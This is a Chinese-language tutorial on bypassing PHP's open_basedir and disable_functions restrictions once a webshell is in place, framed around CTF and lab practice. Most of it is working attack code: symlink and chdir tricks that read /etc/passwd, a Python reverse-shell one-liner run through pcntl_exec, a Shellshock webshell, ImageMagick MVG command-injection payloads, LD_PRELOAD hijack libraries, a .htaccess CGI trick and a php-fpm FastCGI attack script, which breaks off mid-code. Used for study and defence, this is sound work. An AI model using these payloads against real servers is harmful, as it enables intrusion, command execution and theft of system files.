php中函數禁用繞過的原理與利用

2021-01-07 湖南蟻景

bypass disable function

是否遇到過費九牛二虎之力拿了webshell,卻連個scandir都執行不了拿了webshell確實是一件很歡樂的事情,但有時候卻僅僅只是一個小階段的結束;本文將會以webshell作為起點從頭到尾來歸納bypass disable function的各種姿勢。

本文涉及相關實驗:繞過函數過濾https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014092310094200001&pk_campaign=baijia-wemedia(通過本實驗學會通過寬字節方式繞過mysql_real_escape_string()、addslashes()這兩個函數。)

從phpinfo中獲取可用信息

信息收集是不可缺少的一環;通常的,我們在通過前期各種工作成功執行代碼 or 發現了一個phpinfo頁面之後,會從該頁面中搜集一些可用信息以便後續漏洞的尋找。

我談談我個人的幾個偏向點:

版本號

最直觀的就是php版本號(雖然版本號有時候會在響應頭中出現),如我的機器上版本號為:PHP Version 7.2.9-1

那麼找到版本號後就會綜合看看是否有什麼"版本專享"漏洞可以利用。

DOCUMENT_ROOT

接下來就是搜索一下DOCUMENT_ROOT取得網站當前路徑,雖然常見的都是在/var/www/html,但難免有例外。

disable_functions

這是本文的重點,disable_functions顧名思義函數禁用,以筆者的kali環境為例,默認就禁用了如下函數:

如一些ctf題會把disable設置的極其噁心,即使我們在上傳馬兒到網站後會發現什麼也做不了,那麼此時的繞過就是本文所要講的內容了。

open_basedir

該配置限制了當前php程序所能訪問到的路徑,如筆者設置了:

<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); phpinfo();

隨後我們能夠看到phpinfo中出現如下:

嘗試scandir會發現列根目錄失敗。

<?phpini_set('open_basedir', '/var/www/html:' .'/tmp');//phpinfo();var_dump(scandir("."));var_dump(scandir("/"));//array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) "index.html" [3]=> string(23) "index.nginx-debian.html" [4]=> string(11) "phpinfo.php" } bool(false)

opcache

如果使用了opcache,那麼可能達成getshell,但需要存在文件上傳的點,直接看連結:

https://www.cnblogs.com/xhds/p/13239331.html

others

如文件包含時判斷協議是否可用的兩個配置項:

allow_url_include、allow_url_fopen

上傳webshell時判斷是否可用短標籤的配置項:

short_open_tag

還有一些會在下文中講到。

bypass open_basedir

因為有時需要根據題目判斷採用哪種bypass方式,同時,能夠列目錄對於下一步測試有不小幫助,這裡列舉幾種比較常見的bypass方式,均從p神博客摘出,推薦閱讀p神博客原文,這裡僅作簡略總結。

syslink

https://www.php.net/manual/zh/function.symlink.php

symlink ( string$target, string$link) : bool

symlink()對於已有的target建立一個名為link的符號連接。

簡單來說就是建立軟鏈達成bypass。

代碼實現如下:

<?php symlink("abc/abc/abc/abc","tmplink"); symlink("tmplink/../../../../etc/passwd", "exploit"); unlink("tmplink"); mkdir("tmplink");

首先是創建一個link,將tmplink用相對路徑指向abc/abc/abc/abc,然後再創建一個link,將exploit指向tmplink/../../../../etc/passwd,此時就相當於exploit指向了abc/abc/abc/abc/../../../../etc/passwd,也就相當於exploit指向了./etc/passwd,此時刪除tmplink文件後再創建tmplink目錄,此時就變為/etc/passwd成功跨目錄。

訪問exploit即可讀取到/etc/passwd。

glob

查找匹配的文件路徑模式,是php自5.3.0版本起開始生效的一個用來篩選目錄的偽協議

常用bypass方式如下:

<?php $c = "glob:///*"; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>

但會發現比較神奇的是只能列舉根目錄下的文件。

chdir()與ini_set()

chdir是更改當前工作路徑。

mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/etc/passwd');

利用了ini_set的open_basedir的設計缺陷,可以用如下代碼觀察一下其bypass過程:

<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir')); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir')); //open_basedir : .. //open_basedir : /

bindtextdomain

該函數的第二個參數為一個文件路徑,先看代碼:

<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir')); $re = bindtextdomain('xxx', '/etc/passwd'); var_dump($re); $re = bindtextdomain('xxx', '/etc/passw'); var_dump($re); //open_basedir: /var/www/html:/tmp //string(11) "/etc/passwd" bool(false)

可以看到當文件不存在時返回值為false,因為不支持通配符,該方法只能適用於linux下的暴力猜解文件。

Realpath

同樣是基於報錯,但realpath在windows下可以使用通配符<和>進行列舉,腳本摘自p神博客:

<?php ini_set('open_basedir', dirname(__FILE__)); printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir')); set_error_handler('isexists'); $dir = 'd:/test/'; $file = ''; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'; for ($i=0; $i < strlen($chars); $i++) { $file = $dir . $chars[$i] . '<><'; realpath($file); } function isexists($errno, $errstr) { $regexp = '/File\((.*)\) is not within/'; preg_match($regexp, $errstr, $matches); if (isset($matches[1])) { printf("%s <br/>", $matches[1]); } } ?>

other

如命令執行事實上是不受open_basedir的影響的。

bypass disable function

蟻劍項目倉庫中有一個各種disable的測試環境可以復現,需要環境的師傅可以選用蟻劍的環境。

https://github.com/AntSwordProject/AntSword-Labs

黑名單突破

這個應該是最簡單的方式,就是尋找替代函數來執行,如system可以採用如反引號來替代執行命令。

看幾種常見用於執行系統命令的函數:

system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``

當然了這些也常常出現在disable function中,那麼可以尋找可以比較容易被忽略的函數,通過函數 or 函數組合拳來執行命令。

反引號:最容易被忽略的點,執行命令但回顯需要配合其他函數,可以反彈shell

pcntl_exec:目標機器若存在python,可用php執行python反彈shell

<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

ShellShock

原理

本質是利用bash破殼漏洞(CVE-2014-6271)。

影響範圍在於bash 1.14 – 4.3

關鍵在於:

目前的bash腳本是以通過導出環境變量的方式支持自定義函數,也可將自定義的bash函數傳遞給子相關進程。一般函數體內的代碼是不會被執行,但此漏洞會錯誤的將「{}」花括號外的命令進行執行。

本地驗證方法:

在shell中執行下面命令:

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

執行命令後,如果顯示Vulnerable CVE-2014-6271,證系統存在漏洞,可改變echo Vulnerable CVE-2014-6271為任意命令進行執行。

詳見:https://www.antiy.com/response/CVE-2014-6271.html

因為是設置環境變量,而在php中存在著putenv可以設置環境變量,配合開啟子進程來讓其執行命令。

利用

https://www.exploit-db.com/exploits/35146

<?php function shellshock($cmd) { $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); error_log('a',1); $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?>

將exp上傳後即可執行系統命令bypass disable,就不做過多贅述。

ImageMagick

原理

漏洞源於CVE-2016-3714,ImageMagick是一款圖片處理程序,但當用戶傳入一張惡意圖片時,會造成命令注入,其中還有其他如ssrf、文件讀取等,當然最致命的肯定是命令注入。

而在漏洞出來之後各位師傅聯想到php擴展中也使用了

ImageMagick

,當然也就存在著漏洞的可能,並且因為漏洞的原理是直接執行系統命令,所以也就不存在是否被disable的可能,因此可以被用於bypass disable。

關於更加詳細的漏洞分析請看p神的文章:CVE-2016-3714 - ImageMagick 命令執行分析,我直接摘取原文中比較具有概括性的漏洞說明:

漏洞報告中給出的POC是利用了如下的這個委託:

<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

它在解析https圖片的時候,使用了curl命令將其下載,我們看到%M被直接放在curl的最後一個參數內。ImageMagick默認支持一種圖片格式,叫mvg,而mvg與svg格式類似,其中是以文本形式寫入矢量圖的內容,而這其中就可以包含https處理過程。

所以我們可以構造一個.mvg格式的圖片(但文件名可以不為.mvg,比如下圖中包含payload的文件的文件名為vul.gif,而ImageMagick會根據其內容識別為mvg圖片),並在https://後面閉合雙引號,寫入自己要執行的命令:

push graphic-context viewbox 0 0 640 480 fill 'url(https://"|id; ")' pop graphic-context

這樣,ImageMagick在正常執行圖片轉換、處理的時候就會觸發漏洞。

漏洞的利用極其簡單,只需要構造一張惡意的圖片,new一個類即可觸發該漏洞:

<?php new Imagick('test.mvg');

利用

那麼依舊以靶場題為例,依舊以擁有一句話馬兒為前提,我們首先上傳一個圖片,如上面所述的我們圖片的後綴無需mvg,因此上傳一個jpg圖片:

push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`cat /etc/passwd > /var/www/html/success`' pop graphic-context

那麼因為我們看不到回顯,所以可以考慮將結果寫入到文件中,或者直接執行反彈shell。

然後如上上傳一個poc.php:

<?php new Imagick('vul.jpg');

訪問即可看到我們寫入的文件。

那麼這一流程頗為繁瑣(當我們需要多次執行命令進行測試時就需要多次調整圖片內容),因此我們可以寫一個php馬來動態傳入命令:

<?php $command = $_GET['cmd']; if ($command == '') { $command = 'whoami>success'; } $exploit = <<<EOF push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`$command`' pop graphic-context EOF; file_put_contents("test.mvg", $exploit); $thumb = new Imagick(); $thumb->readImage('test.mvg'); $thumb->writeImage('test.png'); $thumb->clear(); $thumb->destroy(); unlink("test.mvg"); unlink("test.png"); ?>

LD_PRELOAD

喜聞樂見的LD_PRELOAD,這是我學習web時遇到的第一個bypass disable的方式,個人覺得很有意思。

原理

LD_PRELOAD是Linux系統的一個環境變量,它可以影響程序的運行時的連結(Runtime linker),它允許你定義在程序運行前優先加載的動態連結庫。這個功能主要就是用來有選擇性的載入不同動態連結庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態連結庫的中間加載別的動態連結庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的目的。

而我們bypass的關鍵就是利用LD_PRELOAD加載庫優先的特點來讓我們自己編寫的動態連結庫優先於正常的函數庫,以此達成執行system命令。

因為id命令比較易於觀察,網上文章也大同小異採用了id命令下的getuid/getgid來做測試,為做個試驗筆者換成了

我們先看看id命令的調用函數:

strace -f /usr/bin/id

Resulut:

close(3) = 0 geteuid32() = 0 getuid32() = 0 getegid32() = 0 getgid32() = 0 (省略....) getgroups32(0, NULL) = 1 getgroups32(1, [0]) = 1

這裡可以看到有不少函數可以編寫,我選擇getgroups32,我們可以用man命令查看一下函數的定義:

man getgroups32

看到這一部分:

得到了函數的定義,我們只需要編寫其內的getgroups即可,因此我編寫一個hack.c:

#include <stdlib.h> #include <sys/types.h> #include <unistd.h> int getgroups(int size, gid_t list[]){ unsetenv("LD_PRELOAD"); system("echo 'i hack it'"); return 1; }

然後使用gcc編譯成一個動態連結庫:

gcc -shared -fPIC hack.c -o hack.so

使用LD_PRELOAD加載並執行id命令,我們會得到如下的結果:

再來更改一下uid測試,我們先adduser一個新用戶hhhm,執行id命令結果如下:

然後根據上面的步驟取得getuid32的函數定義,據此來編寫一個hack.c:

#include <stdlib.h> #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> uid_t geteuid( void ) { return 0; } uid_t getuid( void ) { return 0; } uid_t getgid( void ) { return 0; }

gcc編譯後,執行,結果如下:

可以看到我們的uid成功變為1,且更改為root了,當然了因為我們的hack.so是root權限編譯出來的,在一定條件下也許可以用此種方式來提權,網上也有相關文章,不過我沒實際嘗試過就不做過分肯定的說法。

下面看看在php中如何配合利用達成bypass disable。

php中的利用

php中主要是需要配合putenv函數,如果該函數被ban了那麼也就沒他什麼事了,所以bypass前需要觀察disable是否ban掉putenv。

php中的利用根據大師傅們的文章我主要提取出下面幾種利用方式,其實質都是大同小異,需要找出一個函數然後採用相同的機制覆蓋掉其函數進而執行系統命令。

那麼我們受限於disable,system等執行系統命令的函數無法使用,而若想要讓php調用外部程序來進一步達成執行系統命令從而達成bypass就只能依賴與php解釋器本身。

因此有一個大前提就是需要從php解釋器中啟動子進程。

老套路之mail

先選取一臺具有sendmail的機器,筆者是使用kali,先在php中寫入如下代碼

<?php mail("","","","");

同樣的可以使用strace來追蹤函數的執行過程。

strace -f php phpinfo.php 2>&1 | grep execve

可以看到這裡調用了sendmail,與網上的文章同樣的我們可以追蹤sendmail來查看其調用過程,或者使用readelf可以查看其使用函數:

strace sendmail

那麼以上面的方式編寫並編譯一個動態連結庫然後利用LD_PRELOAD去執行我們的命令,這就是老套路的利用。

因為沒有回顯,為方便查看效果我寫了一個ls>test,因此hack.c如下:

#include <stdlib.h> #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> uid_t geteuid( void ) { system("ls>test"); return 0; } uid_t getuid( void ) { return 1; } uid_t getgid( void ) { return 0; }

同樣的gcc編譯後,頁面寫入如下:

<?php putenv("LD_PRELOAD=./hack.so"); mail("","","",""); ?>

訪問頁面得到運行效果如下:

再提一個我在利用過程中走錯的點,這裡為測試,我換用一臺沒有sendmail的ubuntu:

但如果我們按照上面的步驟直接追蹤index的執行而不過濾選取execve會發現同樣存在著geteuid,並且但這事實上是sh調用的而非mail調用的,因此如果我們使用php index.php來調用會發現system執行成功,但如果我們通過頁面來訪問則會發現執行失敗,這是一個在利用過程中需要注意的點,這也就是為什麼我們會使用管道符來選取execve。

第一個execve為php解釋器啟動的進程,而後者即為我們所需要的sendmail子進程。

error_log

同樣的除了mail會調用sendmail之外,還有error_log也會調用,如圖:

ps:當error_log的type為1時就會調用到sendmail。

因此上面針對於mail函數的套路對於error_log同樣適用,however,我們會發現此類劫持都只是針對某一個函數,而前面所做的都是依賴與sendmail,而像目標機器如果不存在sendmail,那麼前面的做法就完全無用。

yangyangwithgnu師傅在其文無需sendmail:巧用LD_PRELOAD突破disable_functions提到了我們不要局限於僅劫持某一函數,而應考慮劫持共享對象。

劫持共享對象

文中使用到了如下代碼編寫的庫:

#define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h> __attribute__ ((__constructor__)) void anything (void){ unsetenv("LD_PRELOAD"); system("ls>test"); }

那麼關於

__attribute__ ((__constructor__))

個人理解是其會在共享庫加載時運行,也就是程序啟動時運行,那麼這一步的利用同樣需要有前面說到的啟動子進程這一個大前提,也就是需要有類似於mail、Imagick可以令php解釋器啟動新進程的函數。

同樣的將LD_PRELOAD指定為gcc編譯的共享庫,然後訪問頁面查看,會發現成功將ls寫到test下(如果失敗請檢查寫權限問題)

0ctf 2019中Wallbreaker Easy中的出題點就是採用了imagick在處理一些特定後綴文件時,會調用ffmpeg,也就是會開啟子進程,從而達成加載共享庫執行系統命令bypass disable。

Apache Mod CGI

前面的兩種利用都需要putenv,如果putenv被ban了那麼就需要這種方式,簡單介紹一下原理。

原理

利用htaccess覆蓋apache配置,增加cgi程序達成執行系統命令,事實上同上傳htaccess解析png文件為php程序的利用方式大同小異。

mod cgi:

任何具有MIME類型application/x-httpd-cgi或者被cgi-script處理器處理的文件都將被作為CGI腳本對待並由伺服器運行,它的輸出將被返回給客戶端。可以通過兩種途徑使文件成為CGI腳本,一種是文件具有已由AddType指令定義的擴展名,另一種是文件位於ScriptAlias目錄中。

因此我們只需上傳一個.htaccess:Options +ExecCGI //使運行cgi程序的執行 AddHandler cgi-script .test //將test後綴的文件解析為cgi程序

利用

利用就很簡單了:

上傳htaccess,內容為上文所給出的內容

上傳a.test,內容為:

#!/bin/bash echo&&ls

給a.test權限,訪問即可得到執行結果。

PHP-FPM

php-fpm相信有讀者在配置php環境時會遇到,如使用nginx+php時會在配置文件中配置如下:

location ~ .php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; }

那麼看看百度百科中關於php-fpm的介紹:

PHP-FPM(FastCGI Process Manager:FastCGI進程管理器)是一個PHPFastCGI管理器,對於PHP 5.3.3之前的php來說,是一個補丁包 [1] ,旨在將FastCGI進程管理整合進PHP包中。如果你使用的是PHP5.3.3之前的PHP的話,就必須將它patch到你的PHP原始碼中,在編譯安裝PHP後才可以使用。

那麼fastcgi又是什麼?Fastcgi 是一種通訊協議,用於Web伺服器與後端語言的數據交換。

原理

那麼我們在配置了php-fpm後如訪問http://127.0.0.1/test.php?test=1,那麼會被解析為如下鍵值對:

{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/test.php', 'SCRIPT_NAME': '/test.php', 'QUERY_STRING': '?test=1', 'REQUEST_URI': '/test.php?test=1', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12304', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }

這個數組很眼熟,會發現其實就是

$_SERVER

裡面的一部分,那麼php-fpm拿到這一個數組後會去找到SCRIPT_FILENAME的值,對於這裡的/var/www/html/test.php,然後去執行它。

前面筆者留了一個配置,在配置中可以看到fastcgi的埠是9000,監聽地址是127.0.0.1,那麼如果地址為0.0.0.0,也即是將其暴露到公網中,倘若我們偽造與fastcgi通信,這樣就會導致遠程代碼執行。

那麼事實上php-fpm通信方式有tcp也就是9000埠的那個,以及socket的通信,因此也存在著兩種攻擊方式。

socket方式的話配置文件會有如下:

fastcgi_pass unix:/var/run/phpfpm.sock;

那麼我們可以稍微了解一下fastcgi的協議組成,其由多個record組成,這裡摘抄一下p神原文中的一段結構體:

typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的類型 unsigned char requestIdB1; // 本次record對應的請求id unsigned char requestIdB0; unsigned char contentLengthB1; // body體的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 額外塊大小 unsigned char reserved; /* Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record;

可以看到record分為header以及body,其中header固定為8位元組,而body由其contentLength決定,而paddingData為保留段,不需要時長度置為0。

而type的值從1-7有各種作用,當其type=4時,後端就會將其body解析成key-value,看到key-value可能會很眼熟,沒錯,就是我們前面看到的那一個鍵值對數組,也就是環境變量。

那麼在學習漏洞利用之前,我們有必要了解兩個環境變量,

PHP_VALUE:可以設置模式為PHP_INI_USER和PHP_INI_ALL的選項

PHP_ADMIN_VALUE:可以設置所有選項(除了disable_function)

那麼以p神文中的利用方式我們需要滿足三個條件:

找到一個已知的php文件

利用上述兩個環境變量將auto_prepend_file設置為php://input

開啟php://input需要滿足的條件:allow_url_include為on

此時熟悉文件包含漏洞的童鞋就一目了然了,我們可以執行任意代碼了。

這裡利用的情況為:

'PHP_VALUE': 'auto_prepend_file = php://input' 'PHP_ADMIN_VALUE': 'allow_url_include = On'

利用

我們先直接看phpinfo如何標識我們可否利用該漏洞進行攻擊。

那麼先以攻擊tcp為例,倘若我們偽造nginx發送數據(fastcgi封裝的數據)給php-fpm,這樣就會造成任意代碼執行漏洞。

p神已經寫好了一個exp,因為開放fastcgi為0.0.0.0的情況事實上同攻擊內網相似,所以這裡可以嘗試一下攻擊127.0.0.1也就是攻擊內網的情況,那麼事實上我們可以配合gopher協議來攻擊內網的fpm,因為與本文主題不符就不多講。

python a.py 127.0.0.1 -p 9000 /var/www/html/phpinfo.php -c '<?php echo `id`;exit;?>'

可以看到結果如圖所示:

攻擊成功後我們去查看一下phpinfo會看到如下:

也就是說我們構造的攻擊包為:

{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/phpinfo.php', 'SCRIPT_NAME': '/phpinfo.php', 'QUERY_STRING': '', 'REQUEST_URI': '/phpinfo.php', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12304', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' }

很明顯的前面所說的都是成立的;然而事實上我這裡是沒有加入disable的情況,我們往裡面加入disable再嘗試。

pkill php-fpm /usr/sbin/php-fpm7.0 -c /etc/php/7.0/fpm/php.ini

注意修改了ini文件後重啟fpm需要指定ini。

我往disable裡壓了一個system:

pcntl_alarm,system,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

然後再執行一下exp,可以發現被disable了:

因此此種方法還無法達成bypass disable的作用,那麼不要忘了我們的兩個php_value能夠修改的可不僅僅只是auto_prepend_file,並且的我們還可以修改basedir來繞過;在先前的繞過姿勢中我們是利用到了so文件執行擴展庫來bypass,那麼這裡同樣可以修改extension為我們編寫的so庫來執行系統命令,具體利用有師傅已經寫了利用腳本,事實上蟻劍中的插件已經能實現了該bypass的功能了,那麼下面我直接對蟻劍中插件如何實現bypass做一個簡要分析。

在執行蟻劍的插件時會發現其在當前目錄生成了一個.antproxy.php文件,那麼我們後續的bypass都是通過該文件來執行,那麼先看一下這個shell的代碼:

<?php function get_client_header(){ $headers=array(); foreach($_SERVER as $k=>$v){ if(strpos($k,'HTTP_')===0){ $k=strtolower(preg_replace('/^HTTP/', '', $k)); $k=preg_replace_callback('/_\w/','header_callback',$k); $k=preg_replace('/^_/','',$k); $k=str_replace('_','-',$k); if($k=='Host') continue; $headers[]="$k:$v"; } } return $headers; } function header_callback($str){ return strtoupper($str[0]); } function parseHeader($sResponse){ list($headerstr,$sResponse)=explode(" ",$sResponse, 2); $ret=array($headerstr,$sResponse); if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){ $ret=parseHeader($sResponse); } return $ret; } set_time_limit(120); $headers=get_client_header(); $host = "127.0.0.1"; $port = 60882; $errno = ''; $errstr = ''; $timeout = 30; $url = "/index.php"; if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout); if(!$fp){ return false; } $method = "GET"; $post_data = ""; if($_SERVER['REQUEST_METHOD']=='POST') { $method = "POST"; $post_data = file_get_contents('php://input'); } $out = $method." ".$url." HTTP/1.1\r\n"; $out .= "Host: ".$host.":".$port."\r\n"; if (!empty($_SERVER['CONTENT_TYPE'])) { $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n"; } $out .= "Content-length:".strlen($post_data)."\r\n"; $out .= implode("\r\n",$headers); $out .= "\r\n\r\n"; $out .= "".$post_data; fputs($fp, $out); $response = ''; while($row=fread($fp, 4096)){ $response .= $row; } fclose($fp); $pos = strpos($response, "\r\n\r\n"); $response = substr($response, $pos+4); echo $response;

定位到關鍵代碼:

$headers=get_client_header(); $host = "127.0.0.1"; $port = 60882; $errno = ''; $errstr = ''; $timeout = 30; $url = "/index.php"; if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout);

可以看到它這裡向60882埠進行通信,事實上這裡蟻劍使用

/bin/sh -c php -n -S 127.0.0.1:60882 -t /var/www/html

開啟了一個新的php服務,並且不使用php.ini,因此也就不存在disable了,那麼我們在觀察其執行過程會發現其還在tmp目錄下上傳了一個so文件,那麼至此我們有理由推斷出其通過攻擊php-fpm修改其extension為在tmp目錄下上傳的擴展庫,事實上從該插件的源碼中也可以得知確實如此:

那麼啟動了該php server後我們的流量就通過antproxy.php轉發到無disabel的php server上,此時就成功達成bypass。

加載so擴展

前面雖然解釋了其原理,但畢竟理論與實踐有所區別,因此我們可以自己打一下extension進行測試。

so文件可以從項目中獲取,根據其提示編譯即可獲取ant.so的庫,修改php-fpm的php.ini,加入:

extension=/var/www/html/ant.so

然後重啟php-fpm,如果使用如下:

<?php antsystem("ls");

成功執行命令時即說明擴展成功加載,那麼我們再把ini恢復為先前的樣子,我們嘗試直接攻擊php-fpm來修改其配置項。

以腳本來攻擊:

import requests sess = requests.session() def execute_php_code(s): res = sess.post('http://192.168.242.5/index.php', data={"a": s}) return res.text code = ''' class AA { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; /** * Socket * @var Resource */ private $_sock = null; /** * Host * @var String */ private $_host = null; /** * Port * @var Integer */ private $_port = null; /** * Keep Alive * @var Boolean */ private $_keepAlive = false; /** * Constructor * * @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application */ public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; } /** * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * * @param Boolean $b true if the connection should stay alive, false otherwise */ public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } /** * Get the keep alive status * * @return Boolean true if the connection should stay alive, false otherwise */ public function getKeepAlive() { return $this->_keepAlive; } /** * Create a connection to the FastCGI application */ private function connect() { if (!$this->_sock) { $this->_sock = fsockopen($this->_host); var_dump($this->_sock); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } } /** * Build a FastCGI packet * * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId */ private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ } /** * Build an FastCGI Name value pair * * @param String $name Name * @param String $value Value * @return String FastCGI Name value pair */ private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; } /** * Read a set of FastCGI Name value pairs * * @param String $data Data containing the set of FastCGI NVPair * @return array of NVPair */ private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } /** * Decode a FastCGI Packet * * @param String $data String containing all the packet * @return array */ private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } /** * Read a FastCGI Packet * * @return array */ private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } /** * Get Informations on the FastCGI application * * @param array $requestedInfo information to retrieve * @return array */ public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } 